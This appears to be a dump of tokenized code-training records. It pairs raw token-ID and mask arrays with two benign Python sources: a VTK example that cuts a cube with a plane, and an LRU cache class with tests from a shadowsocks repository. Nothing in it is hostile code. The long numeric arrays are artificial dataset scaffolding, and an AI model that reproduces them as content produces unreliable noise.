[ 984, 199, 646, 7534, 199, 504, 900, 492, 2112, 63, 521, 199, 646, 699, 2308, 199, 504, 699, 2308, 14, 11205, 5968, 492, 13407, 6592, 199, 504, 699, 2308, 14, 11205, 5968, 492, 28534, 5968, 199, 504, 6107, 492, 627, 421, 199, 533, 4932, 11205, 5968, 8, 11205, 5968, 304, 272, 347, 636, 495, 721, 277, 304, 267, 734, 275, 298, 466, 26, 450, 83, 60, 78, 2, 450, 291, 14, 466, 267, 340, 291, 14, 30964, 508, 413, 26, 288, 734, 847, 298, 1985, 26, 8978, 83, 2689, 83, 61, 4042, 83, 2862, 78, 2, 450, 334, 277, 14, 1985, 14, 928, 11, 17, 12, 6059, 291, 14, 1985, 14, 500, 12, 6681, 358, 267, 340, 291, 14, 30964, 508, 446, 17, 26, 288, 734, 847, 298, 1985, 26, 8978, 83, 2689, 83, 61, 4042, 83, 2862, 78, 2, 450, 334, 277, 14, 1985, 14, 928, 11, 17, 12, 6059, 291, 14, 1985, 14, 500, 12, 26942, 267, 340, 291, 14, 344, 436, 291, 14, 344, 1137, 3886, 5187, 1305, 30, 582, 288, 734, 847, 298, 344, 26, 450, 83, 60, 78, 2, 450, 291, 14, 344, 267, 734, 847, 298, 537, 26765, 3427, 78, 2, 267, 367, 6420, 63, 498, 315, 3355, 8, 277, 14, 537, 26765, 304, 288, 734, 847, 298, 2606, 26, 450, 83, 12, 1594, 26, 450, 83, 60, 78, 2, 450, 334, 537, 63, 498, 12, 6343, 291, 14, 537, 26765, 59, 537, 63, 498, 566, 267, 340, 699, 2308, 855, 1023, 363, 1137, 283, 17, 14, 2333, 356, 327, 370, 5126, 8826, 543, 3915, 12111, 927, 898, 5459, 288, 340, 440, 2688, 8, 277, 12, 2668, 954, 63, 3179, 2349, 355, 291, 423, 954, 63, 3179, 275, 942, 288, 340, 822, 8, 277, 423, 954, 63, 3179, 9, 1137, 378, 26, 355, 734, 847, 298, 2610, 13, 10807, 60, 78, 2, 355, 367, 1007, 63, 4445, 315, 291, 423, 954, 63, 3179, 26, 490, 734, 847, 2071, 83, 60, 78, 2, 450, 1007, 63, 4445, 267, 372, 734, 421, 199, 318, 365, 63, 12541, 63, 4445, 8, 513, 63, 1618, 63, 3179, 12, 1478, 12, 2005, 63, 12948, 304, 272, 327, 283, 1080, 7, 365, 367, 3878, 1159, 1478, 4453, 283, 513, 63, 1618, 63, 3179, 7, 272, 340, 334, 513, 63, 1618, 63, 3179, 59, 1080, 1055, 1985, 14, 928, 665, 267, 2005, 63, 12948, 14, 1985, 14, 928, 665, 267, 769, 63, 1618, 63, 3179, 59, 1080, 1055, 1985, 14, 500, 503, 267, 769, 63, 1618, 63, 3179, 59, 1080, 1055, 1985, 14, 928, 665, 267, 2005, 63, 12948, 14, 1985, 14, 500, 665, 267, 769, 63, 1618, 63, 3179, 59, 1080, 1055, 1985, 14, 500, 9, 503, 971, 267, 334, 513, 63, 1618, 63, 3179, 59, 1080, 1055, 1985, 14, 928, 665, 288, 2005, 63, 12948, 14, 1985, 14, 928, 665, 1467, 2005, 63, 12948, 14, 1985, 14, 500, 665, 288, 769, 63, 1618, 63, 3179, 59, 1080, 11, 17, 1055, 1985, 14, 928, 436, 971, 288, 769, 63, 1618, 63, 3179, 59, 1080, 1055, 30964, 508, 435, 17, 436, 971, 288, 769, 63, 1618, 63, 3179, 59, 1080, 1055, 30964, 1137, 8892, 769, 63, 1618, 63, 3179, 59, 1080, 11, 17, 1055, 30964, 304, 267, 327, 7907, 340, 9793, 365, 4453, 1163, 4534, 503, 365, 3382, 2877, 3818, 12069, 7869, 14, 267, 372, 715, 272, 587, 26, 267, 372, 756, 421, 199, 318, 365, 63, 12541, 63, 9891, 8, 513, 63, 1618, 63, 3179, 12, 1478, 12, 2005, 63, 12948, 304, 272, 367, 3878, 315, 769, 63, 1618, 63, 3179, 59, 1080, 10688, 267, 340, 334, 4445, 14, 1985, 14, 928, 446, 769, 63, 1618, 63, 3179, 59, 1080, 1055, 1985, 14, 500, 9, 665, 334, 4200, 14, 9891, 11, 17, 304, 288, 340, 334, 513, 63, 1618, 63, 3179, 59, 1080, 1055, 1985, 14, 928, 11, 4200, 14, 9891, 690, 971, 2116, 2005, 63, 12948, 14, 1985, 14, 500, 690, 971, 2116, 769, 63, 1618, 63, 3179, 59, 1080, 1055, 1985, 14, 928, 436, 971, 2116, 769, 63, 1618, 63, 3179, 59, 1080, 1055, 30964, 508, 435, 17, 9, 503, 971, 2151, 334, 513, 63, 1618, 63, 3179, 59, 1080, 1055, 1985, 14, 500, 13, 4200, 14, 9891, 665, 971, 1993, 2005, 63, 12948, 14, 1985, 14, 928, 665, 971, 1993, 769, 63, 1618, 63, 3179, 59, 1080, 1055, 1985, 14, 500, 436, 971, 1993, 769, 63, 1618, 63, 3179, 59, 1080, 1055, 30964, 508, 446, 17, 304, 355, 372, 715, 288, 587, 26, 355, 372, 756, 267, 587, 26, 288, 372, 756, 421, 199, 318, 6420, 26765, 63, 1593, 8, 537, 26765, 12, 2729, 304, 272, 6420, 63, 1391, 275, 942, 272, 367, 2005, 63, 27005, 315, 6420, 26765, 26, 267, 340, 1263, 8, 5155, 508, 19619, 367, 5272, 315, 2005, 63, 27005, 304, 288, 6420, 63, 1391, 14, 740, 8, 3972, 63, 27005, 14, 1294, 7863, 1333, 267, 587, 26, 288, 984, 14, 2224, 360, 8254, 1104, 2195, 8605, 6420, 26765, 14090, 358, 272, 367, 1329, 315, 1425, 8, 552, 8, 537, 63, 1391, 2298, 267, 574, 63, 513, 275, 942, 267, 367, 1478, 315, 1425, 8, 552, 8, 537, 63, 1391, 2298, 288, 340, 6420, 63, 1391, 59, 1955, 1527, 16, 61, 508, 6420, 63, 1391, 59, 1080, 1527, 16, 61, 436, 971, 1169, 6420, 63, 1391, 59, 1080, 1527, 17, 61, 440, 315, 574, 63, 513, 26, 355, 574, 63, 513, 14, 740, 8, 537, 63, 1391, 59, 1080, 1527, 17, 566, 355, 2729, 59, 537, 63, 1391, 59, 1955, 1527, 16, 2677, 275, 574, 63, 513, 272, 372, 2729, 421, 199, 318, 302, 72, 596, 63, 2087, 8, 515, 63, 475, 63, 493, 12, 1390, 63, 1238, 63, 1267, 304, 272, 671, 275, 942, 272, 862, 26, 267, 282, 275, 1551, 8, 515, 63, 475, 63, 493, 12, 283, 82, 358, 272, 871, 5925, 26, 267, 984, 14, 2224, 360, 4299, 1125, 1, 7754, 1104, 2195, 302, 14038, 2626, 3622, 1324, 570, 10916, 272, 519, 275, 282, 14, 9684, 342, 272, 330, 275, 942, 272, 366, 275, 942, 272, 325, 275, 942, 272, 367, 1478, 315, 1425, 8, 552, 8, 82, 2298, 267, 366, 14, 740, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 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main(): colors = vtk.vtkNamedColors() # Create a cube cube = vtk.vtkCubeSource() cube.SetXLength(40) cube.SetYLength(30) cube.SetZLength(20) cubeMapper = vtk.vtkPolyDataMapper() cubeMapper.SetInputConnection(cube.GetOutputPort()) # create a plane to cut,here it cuts in the XZ direction (xz normal=(1,0,0);XY =(0,0,1),YZ =(0,1,0) plane = vtk.vtkPlane() plane.SetOrigin(10, 0, 0) plane.SetNormal(1, 0, 0) # create cutter cutter = vtk.vtkCutter() cutter.SetCutFunction(plane) cutter.SetInputConnection(cube.GetOutputPort()) cutter.Update() cutterMapper = vtk.vtkPolyDataMapper() cutterMapper.SetInputConnection(cutter.GetOutputPort()) # create plane actor planeActor = vtk.vtkActor() planeActor.GetProperty().SetColor(colors.GetColor3d("Yellow")) planeActor.GetProperty().SetLineWidth(2) planeActor.SetMapper(cutterMapper) # create cube actor cubeActor = vtk.vtkActor() cubeActor.GetProperty().SetColor(colors.GetColor3d("Aquamarine")) cubeActor.GetProperty().SetOpacity(0.3) cubeActor.SetMapper(cubeMapper) # create renderers and add actors of plane and cube ren = vtk.vtkRenderer() ren.AddActor(planeActor) ren.AddActor(cubeActor) # Add renderer to renderwindow and render renWin = vtk.vtkRenderWindow() renWin.AddRenderer(ren) renWin.SetSize(600, 600) iren = vtk.vtkRenderWindowInteractor() iren.SetRenderWindow(renWin) ren.SetBackground(colors.GetColor3d("Silver")) renWin.Render() iren.Start() if __name__ == '__main__': main()
apache-2.0
[ 3381, 2647, 15, 1393, 15, 1813, 2366, 199, 199, 3, 437, 3486, 2884, 370, 23789, 18161, 314, 11144, 35, 18404, 805, 199, 199, 646, 11144, 421, 199, 318, 2446, 837, 272, 9229, 275, 11144, 14, 11919, 7989, 20094, 342, 339, 327, 2790, 282, 15681, 272, 15681, 275, 11144, 14, 11919, 25043, 2980, 342, 272, 15681, 14, 1084, 56, 4625, 8, 2167, 9, 272, 15681, 14, 1084, 57, 4625, 8, 1216, 9, 272, 15681, 14, 1084, 58, 4625, 8, 1165, 9, 272, 15681, 11880, 275, 11144, 14, 11919, 12747, 1451, 11880, 342, 272, 15681, 11880, 14, 32195, 8, 11477, 14, 30810, 1012, 339, 327, 1218, 282, 16388, 370, 10415, 12, 1681, 652, 10415, 83, 315, 314, 1323, 58, 7581, 334, 19196, 3293, 2687, 17, 12, 16, 12, 16, 2736, 8195, 275, 8, 16, 12, 16, 12, 17, 395, 26184, 275, 8, 16, 12, 17, 12, 16, 9, 272, 16388, 275, 11144, 14, 11919, 23363, 342, 272, 16388, 14, 1084, 12834, 8, 709, 12, 378, 12, 378, 9, 272, 16388, 14, 1084, 6241, 8, 17, 12, 378, 12, 378, 9, 339, 327, 1218, 10415, 351, 272, 10415, 351, 275, 11144, 14, 11919, 35, 18404, 342, 272, 10415, 351, 14, 1084, 23498, 3481, 8, 15365, 9, 272, 10415, 351, 14, 32195, 8, 11477, 14, 30810, 1012, 272, 10415, 351, 14, 4152, 342, 272, 10415, 351, 11880, 275, 11144, 14, 11919, 12747, 1451, 11880, 342, 272, 10415, 351, 11880, 14, 32195, 8, 5919, 351, 14, 30810, 1012, 339, 327, 1218, 16388, 20318, 272, 16388, 12258, 275, 11144, 14, 11919, 12258, 342, 272, 16388, 12258, 14, 22845, 1252, 1084, 4117, 8, 7120, 14, 1002, 4117, 19, 68, 480, 57, 10723, 2237, 272, 16388, 12258, 14, 22845, 1252, 1084, 3049, 6216, 8, 18, 9, 272, 16388, 12258, 14, 1084, 11880, 8, 5919, 351, 11880, 9, 339, 327, 1218, 15681, 20318, 272, 15681, 12258, 275, 11144, 14, 11919, 12258, 342, 272, 15681, 12258, 14, 22845, 1252, 1084, 4117, 8, 7120, 14, 1002, 4117, 19, 68, 480, 33, 392, 455, 285, 1132, 2237, 272, 15681, 12258, 14, 22845, 1252, 1084, 47, 6192, 8, 16, 14, 19, 9, 272, 15681, 12258, 14, 1084, 11880, 8, 11477, 11880, 9, 339, 327, 1218, 2903, 26529, 436, 1050, 282, 13451, 402, 16388, 436, 15681, 272, 2903, 275, 11144, 14, 11919, 11355, 342, 272, 2903, 14, 1123, 12258, 8, 15365, 12258, 9, 272, 2903, 14, 1123, 12258, 8, 11477, 12258, 9, 339, 327, 2654, 11889, 370, 3795, 3806, 436, 3795, 272, 2903, 8886, 275, 11144, 14, 11919, 9216, 4301, 342, 272, 2903, 8886, 14, 1123, 11355, 8, 828, 9, 272, 2903, 8886, 14, 1084, 2320, 8, 6683, 12, 11624, 9, 272, 284, 828, 275, 11144, 14, 11919, 9216, 4301, 607, 2967, 630, 342, 272, 284, 828, 14, 1084, 9216, 4301, 8, 828, 8886, 9, 272, 2903, 14, 1084, 14148, 8, 7120, 14, 1002, 4117, 19, 68, 480, 51, 382, 422, 2237, 272, 2903, 8886, 14, 9216, 342, 339, 284, 828, 14, 3162, 342, 421, 199, 692, 636, 354, 363, 508, 2560, 973, 3706, 272, 2446, 342, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768 ]
[ 2647, 15, 1393, 15, 1813, 2366, 199, 199, 3, 437, 3486, 2884, 370, 23789, 18161, 314, 11144, 35, 18404, 805, 199, 199, 646, 11144, 421, 199, 318, 2446, 837, 272, 9229, 275, 11144, 14, 11919, 7989, 20094, 342, 339, 327, 2790, 282, 15681, 272, 15681, 275, 11144, 14, 11919, 25043, 2980, 342, 272, 15681, 14, 1084, 56, 4625, 8, 2167, 9, 272, 15681, 14, 1084, 57, 4625, 8, 1216, 9, 272, 15681, 14, 1084, 58, 4625, 8, 1165, 9, 272, 15681, 11880, 275, 11144, 14, 11919, 12747, 1451, 11880, 342, 272, 15681, 11880, 14, 32195, 8, 11477, 14, 30810, 1012, 339, 327, 1218, 282, 16388, 370, 10415, 12, 1681, 652, 10415, 83, 315, 314, 1323, 58, 7581, 334, 19196, 3293, 2687, 17, 12, 16, 12, 16, 2736, 8195, 275, 8, 16, 12, 16, 12, 17, 395, 26184, 275, 8, 16, 12, 17, 12, 16, 9, 272, 16388, 275, 11144, 14, 11919, 23363, 342, 272, 16388, 14, 1084, 12834, 8, 709, 12, 378, 12, 378, 9, 272, 16388, 14, 1084, 6241, 8, 17, 12, 378, 12, 378, 9, 339, 327, 1218, 10415, 351, 272, 10415, 351, 275, 11144, 14, 11919, 35, 18404, 342, 272, 10415, 351, 14, 1084, 23498, 3481, 8, 15365, 9, 272, 10415, 351, 14, 32195, 8, 11477, 14, 30810, 1012, 272, 10415, 351, 14, 4152, 342, 272, 10415, 351, 11880, 275, 11144, 14, 11919, 12747, 1451, 11880, 342, 272, 10415, 351, 11880, 14, 32195, 8, 5919, 351, 14, 30810, 1012, 339, 327, 1218, 16388, 20318, 272, 16388, 12258, 275, 11144, 14, 11919, 12258, 342, 272, 16388, 12258, 14, 22845, 1252, 1084, 4117, 8, 7120, 14, 1002, 4117, 19, 68, 480, 57, 10723, 2237, 272, 16388, 12258, 14, 22845, 1252, 1084, 3049, 6216, 8, 18, 9, 272, 16388, 12258, 14, 1084, 11880, 8, 5919, 351, 11880, 9, 339, 327, 1218, 15681, 20318, 272, 15681, 12258, 275, 11144, 14, 11919, 12258, 342, 272, 15681, 12258, 14, 22845, 1252, 1084, 4117, 8, 7120, 14, 1002, 4117, 19, 68, 480, 33, 392, 455, 285, 1132, 2237, 272, 15681, 12258, 14, 22845, 1252, 1084, 47, 6192, 8, 16, 14, 19, 9, 272, 15681, 12258, 14, 1084, 11880, 8, 11477, 11880, 9, 339, 327, 1218, 2903, 26529, 436, 1050, 282, 13451, 402, 16388, 436, 15681, 272, 2903, 275, 11144, 14, 11919, 11355, 342, 272, 2903, 14, 1123, 12258, 8, 15365, 12258, 9, 272, 2903, 14, 1123, 12258, 8, 11477, 12258, 9, 339, 327, 2654, 11889, 370, 3795, 3806, 436, 3795, 272, 2903, 8886, 275, 11144, 14, 11919, 9216, 4301, 342, 272, 2903, 8886, 14, 1123, 11355, 8, 828, 9, 272, 2903, 8886, 14, 1084, 2320, 8, 6683, 12, 11624, 9, 272, 284, 828, 275, 11144, 14, 11919, 9216, 4301, 607, 2967, 630, 342, 272, 284, 828, 14, 1084, 9216, 4301, 8, 828, 8886, 9, 272, 2903, 14, 1084, 14148, 8, 7120, 14, 1002, 4117, 19, 68, 480, 51, 382, 422, 2237, 272, 2903, 8886, 14, 9216, 342, 339, 284, 828, 14, 3162, 342, 421, 199, 692, 636, 354, 363, 508, 2560, 973, 3706, 272, 2446, 342, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1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0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
leomao10/shadowsocks
shadowsocks/lru_cache.py
983
4290
#!/usr/bin/python # -*- coding: utf-8 -*- # # Copyright 2015 clowwindy # # Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, WITHOUT # WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the # License for the specific language governing permissions and limitations # under the License. from __future__ import absolute_import, division, print_function, \ with_statement import collections import logging import time # this LRUCache is optimized for concurrency, not QPS # n: concurrency, keys stored in the cache # m: visits not timed out, proportional to QPS * timeout # get & set is O(1), not O(n). thus we can support very large n # TODO: if timeout or QPS is too large, then this cache is not very efficient, # as sweep() causes long pause class LRUCache(collections.MutableMapping): """This class is not thread safe""" def __init__(self, timeout=60, close_callback=None, *args, **kwargs): self.timeout = timeout self.close_callback = close_callback self._store = {} self._time_to_keys = collections.defaultdict(list) self._keys_to_last_time = {} self._last_visits = collections.deque() self._closed_values = set() self.update(dict(*args, **kwargs)) # use the free update to set keys def __getitem__(self, key): # O(1) t = time.time() self._keys_to_last_time[key] = t self._time_to_keys[t].append(key) self._last_visits.append(t) return self._store[key] def __setitem__(self, key, value): # O(1) t = time.time() self._keys_to_last_time[key] = t self._store[key] = value self._time_to_keys[t].append(key) self._last_visits.append(t) def __delitem__(self, key): # O(1) del self._store[key] del self._keys_to_last_time[key] def __iter__(self): return iter(self._store) def __len__(self): return len(self._store) def sweep(self): # O(m) now = time.time() c = 0 while len(self._last_visits) > 0: least = self._last_visits[0] if now - least <= self.timeout: break if self.close_callback is not None: for key in self._time_to_keys[least]: if key in self._store: if now - self._keys_to_last_time[key] > self.timeout: value = self._store[key] if value not in self._closed_values: self.close_callback(value) self._closed_values.add(value) for key in self._time_to_keys[least]: self._last_visits.popleft() if key in self._store: if now - self._keys_to_last_time[key] > self.timeout: del self._store[key] del self._keys_to_last_time[key] c += 1 del self._time_to_keys[least] if c: self._closed_values.clear() logging.debug('%d keys swept' % c) def test(): c = LRUCache(timeout=0.3) c['a'] = 1 assert c['a'] == 1 time.sleep(0.5) c.sweep() assert 'a' not in c c['a'] = 2 c['b'] = 3 time.sleep(0.2) c.sweep() assert c['a'] == 2 assert c['b'] == 3 time.sleep(0.2) c.sweep() c['b'] time.sleep(0.2) c.sweep() assert 'a' not in c assert c['b'] == 3 time.sleep(0.5) c.sweep() assert 'a' not in c assert 'b' not in c global close_cb_called close_cb_called = False def close_cb(t): global close_cb_called assert not close_cb_called close_cb_called = True c = LRUCache(timeout=0.1, close_callback=close_cb) c['s'] = 1 c['s'] time.sleep(0.1) c['s'] time.sleep(0.3) c.sweep() if __name__ == '__main__': test()
apache-2.0
[ 3381, 2647, 15, 1393, 15, 1548, 199, 3, 1882, 2803, 26, 2774, 13, 24, 1882, 199, 3, 199, 3, 1898, 6900, 286, 674, 11530, 89, 199, 3, 199, 3, 3909, 1334, 314, 3668, 844, 12, 3394, 499, 14, 16, 334, 1589, 298, 3761, 3547, 1265, 1443, 199, 3, 440, 675, 642, 570, 871, 315, 4151, 543, 314, 844, 14, 2047, 1443, 3332, 199, 3, 282, 1331, 402, 314, 844, 737, 199, 3, 199, 3, 258, 1455, 921, 1544, 14, 3796, 14, 1308, 15, 2383, 15, 3961, 13, 18, 14, 16, 199, 3, 199, 3, 4158, 1415, 701, 3964, 4179, 503, 4193, 370, 315, 3575, 12, 2032, 199, 3, 1854, 1334, 314, 844, 365, 1854, 641, 376, 298, 1179, 2281, 2, 4207, 12, 2428, 199, 3, 2990, 1549, 4217, 1634, 1821, 3826, 12, 1902, 4056, 503, 2478, 14, 1666, 314, 199, 3, 844, 367, 314, 2488, 2637, 4210, 3443, 436, 4204, 199, 3, 1334, 314, 844, 14, 199, 199, 504, 636, 2443, 363, 492, 3679, 63, 646, 12, 4629, 12, 870, 63, 1593, 12, 971, 272, 543, 63, 6242, 199, 199, 646, 5055, 199, 646, 2050, 199, 646, 900, 421, 199, 3, 642, 491, 9500, 4437, 365, 20212, 367, 406, 4968, 12, 440, 